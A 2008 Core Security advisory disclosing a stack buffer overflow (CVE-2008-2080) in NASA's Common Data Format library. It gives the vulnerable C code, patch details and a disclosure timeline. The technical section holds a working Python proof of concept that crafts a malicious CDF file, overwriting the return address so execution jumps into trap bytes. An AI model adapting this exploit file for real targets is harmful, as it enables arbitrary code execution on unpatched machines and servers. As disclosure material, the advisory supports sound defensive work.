NASA's Common Data Format buffer overflow

NASA's Common Data Format buffer overflow


Core Security Technologies - CoreLabs Advisory

http://www.coresecurity.com/corelabs/

Advisory Information

Title: NASA's Common Data Format buffer overflow
Advisory ID: CORE-2008-0326
Advisory URL: http://www.coresecurity.com/?action=item&id=2260
Date published: 2008-05-05
Date of last update: 2008-05-05
Vendors contacted: GODDARD Space Flight Center
Release mode: Coordinated release

Vulnerability Information

Class: Stack Overflow
Remotely Exploitable: Yes
Locally Exploitable: No
Bugtraq Name: 29045
CVE Name: CVE-2008-2080

Vulnerability Description

CDF [1] is a common data format developed by the NASA Goddard Space Flight Center. It is a conceptual data abstraction for
storing, manipulating, and accessing multidimensional data sets.
The CDF software package is used by hundreds of government agencies, universities, and private and commercial organizations as
well as independent researchers on both national and international levels.

The CDF Library is vulnerable to a buffer overflow in the stack, which
can be exploited by malicious remote attackers to compromise a user's system.
The vulnerability is caused due to the CDF (src/lib/cdfread64.c) library not properly sanitizing the length tags on
a CDF file before using it to copy data on a stack buffer.
This can be exploited to get arbitrary code execution by opening a specially crafted file.

Vulnerable packages

  • CDF 3.2 and earlier.

Non-vulnerable packages

  • CDF 3.2.1

Vendor Information, Solutions and Workarounds

The CDF project has issued a security advisory describing this vulnerability
http://cdf.gsfc.nasa.gov/CDF32_buffer_overflow.html, partially quoted below.

The libraries for the scientific data file format, Common Data Format (CDF) http://cdf.gsfc.nasa.gov/ version 3.2
and earlier, have the potential for a buffer overflow vulnerability when reading specially-crafted (invalid) CDF files. If
successful, this could trigger execution of arbitrary code within the context of the CDF-reading program that could be
exploited to compromise a system, or otherwise crash the program. While it's unlikely that you would open CDFs from
untrusted sources, we recommend everyone upgrade to the latest CDF libraries on their systems, including the IDL and
Matlab plugins. Most worrisome is any service that enables the general public to submit CDF files for processing.

The vulnerability is in the CDF library routines not properly checking the length tags on a CDF file before copying data
to a stack buffer. Exploitation requires the user to explicitly open a specially-crafted file. CDF users should not open
files from untrusted third parties until the patch is applied (and continue then to exercise normal caution for files from
untrusted third parties).

CDF 3.2.1 addresses this vulnerability and introduces further usability fixes http://cdf.gsfc.nasa.gov/. Updates
for Perl, IDL, Matlab and Java WebStart are also available. Java WebStart applications that
refer to http://sscweb.gsfc.nasa.gov/skteditor/cdf/cdf-latest.jnlp, will automatically be updated to include
this fix the next time the application is started while connected to the Internet.

Credits

This vulnerability was discovered and researched by Alfredo Ortega, from CORE IMPACT's Exploit Writing Team (EWT), Core Security Technologies.

Technical Description / Proof of Concept Code

The CDF Library suffers from a buffer overflow in the Stack using a specially crafted (invalid) CDF input files.
If successful, a malicious third party could trigger execution of arbitrary code within the context of
the application using the library, or otherwise crash the whole application.

Exploitation of the CDF overflow problem requires the user to explicitly open a specially crafted file.
The user should refrain from opening files from untrusted third parties or accessing untrusted Web sites until the patch is applied.

The vulnerability resides in the following code at src/lib/cdfread64.c.
There, the function Read32s_64 reads data from a file into a buffer.
The temp buffer has a size of MAX_READ32s, but the count parameter is never checked,
and a stack overflow will happen if is it's bigger than MAX_READ32s.

57  STATICforIDL Logical Read32s_64 (fp, buffer, count)
58  vFILE *fp;
59  Int32 *buffer;
60  int count;
61  {
62  #if defined(NETWORKbyteORDERcpu)
63    if (count < 1) return TRUE;
64    if (!READv64(buffer,(size_t)4,(size_t)count,fp)) return FALSE;
65  #else
66  #define MAX_READ32s CDF_MAX_DIMS        /* This must be the maximum of
67                                             CDF_MAX_DIMS and MAX_VXR_ENTRIES
68                                           (and for any other uses of
69                                           `Read32s'). */
70    int i; Int32 temp[MAX_READ32s];
71    if (count < 1) return TRUE;
72    if (!READv64(temp,(size_t)4,(size_t)count,fp)) return FALSE;
      

The function Read32s_64 is called by ReadGDR64, also at src/lib/cdfread64.c:

256     #if defined(STDARG)
257     STATICforIDL CDFstatus ReadGDR64 (vFILE *fp, OFF_T offset, ...)
258     #else
259     STATICforIDL CDFstatus ReadGDR64 (va_alist)
260     va_dcl
261     #endif
262     {

.
.
.

301           if (!Read32_64(fp,&(fp->GDR64->rNumDims))) return CRE;
302           if (!Read32_64(fp,&(fp->GDR64->NzVars))) return CRE;
303           if (!Read64_64(fp,&(fp->GDR64->UIRhead))) return CRE;
304           if (!Read32_64(fp,&(fp->GDR64->rfuC))) return CRE;
305           if (!Read32_64(fp,&(fp->GDR64->rfuD))) return CRE;
306           if (!Read32_64(fp,&(fp->GDR64->rfuE))) return CRE;
307           if (!Read32s_64(fp,fp->GDR64->rDimSizes,
308                          (int)fp->GDR64->rNumDims)) return CRE;
      

We can see that the vulnerable function is called at the line 307 using the variable fp->GDR64->rNumDims as the vulnerable count parameter.
This variable is controlled by the attacker because is loaded from the file in the line 301, and is trivial to craft a CDF file that overwrite the return value on the stack and execute binary code.

The following proof of concept is a python script that creates a CDF file that triggers the overflow and executes a TRAP instruction
when loaded with various standard CDF tools, like cdfstats, cdfdump or cdfcvt.

## CDF 3.2 Stack Overflow PoC
##
## Alfredo Ortega, Core Security Exploit Writers Team (EWT)
##
## Work against:
##  cdfstats, cdfdump and cdfcvt
## on the CDF 3.2 distribution compiled on Ubuntu 7.10
##

import struct

trampoline=0x0810ca00
name="bad.cdf"

buffer ='\xcd\xf3\x00\x01\x00\x00\xff\xff\x00\x00\x00\x00\x00\x00\x01\x38'
buffer+='\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x01\x40\x00\x00\x00\x03'
buffer+='\x00\x00\x00\x01\x00\x00\x00\x09\x00\x00\x00\x03\x00\x00\x00\x00'
buffer+='\x00\x00\x00\x00\x00\x00\x00\x00\xff\xff\xff\xff\xff\xff\xff\xff'
buffer+='\nCommon Data Format (CDF)\n'
buffer+='(C) Copyright 1990-2006 NASA/GSFC\n'
buffer+='Space Physics Data Facility\n'
buffer+='NASA/Goddard Space Flight Center\n'
buffer+='Greenbelt, Maryland 20771 USA\n'
buffer+='(Internet -- CDFSUPPORT@LISTSERV.PWND.NASA.GOV)\n'
buffer+='\x00'*0x40
buffer+='\x54\x00\x00\x00\x02\x00\x00\x00\x00'
buffer+='\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x94\x00\x00\x00\x00'
buffer+='\x00\x00\x05\xd0\x00\x00\x00\x00\x00\x00\x17\x7c\x00\x00\x00\x00'
buffer+='\x00\x00\x00\x03\xff\xff\xff\xff\x00\x00\x01\x00\x00\x00\x00\x03'
buffer+='\x00\x00\x00\x00\x00\x00\x0b\x4a\x00\x00\x00\x00\xff\xff\xff\xff'
buffer+='\xff\xff\xff\xff\x00\x00\x00\x00\x00\x00\x01\x58\x00\x00\x00\x08'
buffer+='\x00\x00\x00\x00\x00\x00\x02\xec\x00\x00\x00\x04\x00\x00\x00\x00'
buffer+='\x00\x00\x00\x00\x00\x00\x0a\xae\x00\x00\x00\x00\x00\x00\x0a\xae'
buffer+='\x00\x00\x00\x01\x00\x00\x00\x00'
buffer+=struct.pack("<L",trampoline)
buffer+='\xff\xff\xff\xff'
buffer+='\xff\xff\xff\xff\x00\x00\x00\x01\x00\x00\x00\x00\xff\xff\xff\xff'
buffer+='\xff\xff\xff\xff\x00\x00\x00\x00\x54\x69\x6d\x65\x00\x00\x00\x00'

file = open(name,"wb")
file.write(buffer)
file.write("\xcc"*5000000)
file.close()
      

Besides the obvious client-side attack vector, where a file in CDF format
is sent by mail to the victim to be opened by him, there are another, more serious, vectors where the attacker uploads a malformed
CDF file to a server that automatically parses it (an example is the data translator web service in
[2]), possibly leading to
arbitrary code execution on the server side. For example a Java wrapper
for the vulnerable CDF library was developed to use in other environments [3], by
transitivity this wrapper is vulnerable too.

Report Timeline

  • 2008-04-07: Initial notification sent to the vendor.
  • 2008-04-07: Vendor acknowledges and requests the advisory draft.
  • 2008-04-07: Core sends the draft of advisory CORE-2008-0326 to vendor.
  • 2008-04-07: Vendor acknowledges the draft saying that wants to coordinate and informs that fixes are been developed.
  • 2008-04-10: Core replies that is willing to coordinate the publication of CORE-2008-0326 and sends the estimated date of release.
  • 2008-04-23: Vendor confirms they are working on fixes for various platforms and plug-ins and requests a delay of the publication CORE-2008-0326 until May 5th.
  • 2008-04-23: Core confirms that the publication will be delayed until May 5th.
  • 2008-05-02: Vendor sends information for the "Vendor, Solutions and Workarounds Section" explaining all the fixes available.
  • 2008-05-05: Core requests vendor to update cross-reference information on the CDF website regarding advisory CORE-2008-0326.
  • 2008-05-05: Core publishes advisory CORE-2008-0326.

References


[1] http://cdf.gsfc.nasa.gov/


[2] http://translators.gsfc.nasa.gov/home.jsp


[3] http://cdf.gsfc.nasa.gov/cdfjava_doc/cdf31/index.html

About CoreLabs

CoreLabs, the research center of Core Security Technologies, is charged with anticipating the future needs
and requirements for information security technologies. We conduct our research in several important areas
of computer security including system vulnerabilities, cyber attack planning and simulation, source code auditing,
and cryptography. Our results include problem formalization, identification of vulnerabilities, novel solutions
and prototypes for new technologies. CoreLabs regularly publishes security advisories, technical papers,
project information and shared software tools for public use at: http://www.coresecurity.com/corelabs/.

About Core Security Technologies

Core Security Technologies develops strategic solutions that help security-conscious organizations worldwide
develop and maintain a proactive process for securing their networks. The company's flagship product,
CORE IMPACT, is the most comprehensive product for performing enterprise security assurance testing.
CORE IMPACT evaluates network, endpoint and end-user vulnerabilities and identifies what resources are exposed.
It enables organizations to determine if current security investments are detecting and preventing attacks.
Core Security Technologies augments its leading technology solution with world-class security consulting services, including penetration
testing and software security auditing. Based in Boston, MA and Buenos Aires, Argentina, Core Security Technologies
can be reached at 617-399-6980 or on the Web at http://www.coresecurity.com.

Disclaimer

The contents of this advisory are copyright (c) 2008 Core Security Technologies and (c) 2008 CoreLabs,
and may be distributed freely provided that no fee is charged for this distribution and proper credit is given.

PGP/GPG Keys

This advisory has been signed with the GPG key of Core Security Technologies advisories team, which is
available for download at /legacy/files/attachments/core_security_advisories.asc.

Locally Exploitable: 
no
Remotely Exploitable: 
no
  • Book Demo

Research Blog